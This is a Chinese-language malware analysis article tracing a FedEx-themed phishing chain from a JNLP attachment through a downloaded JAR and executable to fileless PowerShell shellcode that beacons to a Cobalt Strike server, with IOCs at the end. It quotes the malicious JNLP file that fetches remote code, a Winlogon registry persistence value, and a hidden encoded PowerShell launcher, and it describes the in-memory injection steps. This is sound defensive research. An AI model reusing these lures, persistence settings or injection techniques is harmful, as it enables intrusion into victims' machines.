本文从一个用于网络钓鱼的 JNLP 附件文件入手分析,整个攻击链最终目的是建立与 Cobalt Strike 服务器的 C&C 连接。
阶段一:附件分析
JNLP 文件是 Java Web 文件,执行该文件会启动 javaws.exe 尝试加载该文件。Javaws.exe 是 Java 运行时的一部分,用于为 Java 应用程序提供网络功能。JNLP 允许部署在远程服务器上的应用程序在本地启动。值得注意的是,为了使用 JNLP 文件进行挖了难过钓鱼,必须安装 Java 环境。
更改文件扩展名为 XML 就可以使用文本编辑器查看 JNLP 文件的内容了。如下所示,JNLP 文件从通过域名 hxxp://fedex-tracking.fun 加载并执行 JAR 文件 FedEx_Delivery_invoice.jar。
<?xml version="1.0"encoding="utf-8"?> <jnlpspec="1.0+"codebase="http://fedex-tracking.fun" href="FedEx_Delivery_invoice.jnlp"> <information> <title>Federal Express Service</title> <vendor>Federal Express</vendor> <homepagehref="www.fedex.com"/> <description>Federal Express documents online.</description> </information> <security> <all-permissions/> </security> <resources> <j2seversion="1.6+"/> <jarhref="FedEx_Delivery_invoice.jar"/> </resources> <application-descmain-class="FedEx_Service"> </application-desc> </jnlp>
知道了二阶段 Payload 的名称与位置就可以下载得到该文件。然后使用 JD-GUI 对其进行分析,对文件进行反编译。
如上所示,FedEx_Delivery_invoice.jar 会尝试从 hxxp://fedex-tracking[.]press 处下载 fedex912.exe。随后将文件存在 Windows 临时目录中并执行,此外还会加载合法的联邦快递网站,欺骗用户认为下载的文件是合法的。
阶段二:可执行文件分析
不幸的是,撰写本文时 fedex92.exe 不再有效,无法获得文件。但是通过 VirusTotal 可以得到样本文件。在分析环境中使用 process monitor 和 regshot 分析文件活动。fedex92.exe 首先释放自身的副本文件 gennt.exe 到目录 C:\ProgramData\9ea94915b24a4616f72c\ 中。该目录是个隐藏目录,对普通用来说不可见,随后将 fedex92.exe 从系统中删除。
对比注册表的修改情况,可以发现恶意软件使用的持久化机制。
HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell:"explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe""
此外,该样本首先启动 cmd,然后启动 PowerShell。细节可以查看 AnyRun 的分析报告。
"C:\Windows\System32\cmd.exe" /c powershell -nop -w hidden -encodedcommand"
阶段三:PowerShell 分析
通常可以使用 CyberChef 来处理编码问题,每个字符之间的 . 会对解码 base64 文本带来麻烦。可以使用 UTF-16LE(1200)来解决这个问题:
命令使用 base64 再编码,还可以看见使用 gunzip 进行压缩的处理:
使用 CyberChef 可以进行处理:
运行后可以发现 PowerShell 包含三个部分,第一部分有几个功能,第二部分有 base64 编码块和 for 语句,第三部分是一些定义的变量和条件语句。首先来看 base64 编码部分:
base64 编码后的 for 语句很值得查看:
可以看出是使用异或 35 对 base64 数据进行了加密,同样使用 CyberChef 进行处理:
其中可以看到像是 IP 地址和 User-Agent 的内容,其余内容看起来可能是 shellcode。使用 CyberChef 将上述内容转换为十六进制:
将十六进制内容另存为 .dat 文件,接下来使用 scdbg 对 shellcode 进行分析。输出如下所示,shellcode 加载 wininet API 库导入用于建立连接的函数,可以看见通过 8080 端口建立了连接:
shellcode 并没有其他功能,这可能是一个简易的 beacon 程序来建立与 C&C 服务器的通信。
PowerShell 注入内存
PowerShell 脚本其余的内容就是将 shellcode 直接注入内存并执行:
- 使用 system.dll 直接从内存导入 GetModuleHandle 和 GetProcAddress 函数,不会从磁盘加载 DLL 文件,这种加载 DLL 的方式是运行时动态链接
- 为函数 var_va 分配内存空间,包含 shellcode
- 对 shellcode 进行解码和解密
- VirtualAlloc 将 shellcode 写入内存空间并调用,shellcode 实际上被注入到 PowerShell 使用的内存空间中
- 执行 shellcode 与 C&C 服务器建立通信
Cobalt Strike
AnyRun 将该 PowerShell 文件判定为 Cobalt Strike,确实分析的 shellcode 与 Cobalt Strike Beacon 的配置和行为是一致的。比较新鲜的是这次看到的 Cobalt Strike Beacon 是无文件的,PowerShell 直接将 Beacon 注入内存不写入硬盘。
IOC
7d187c34512571b45ffc2285414425b2e8963a914765582f9ea76ecc2791b45e
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
ba5fa7cc1a918b866354f4a5d9d92ceb3965ff81eb96e1608f190bccf12d38e6
176[.]103[.]56[.]89
hxxp://fedex-tracking[.]fun
hxxp://fedex-tracking[.]press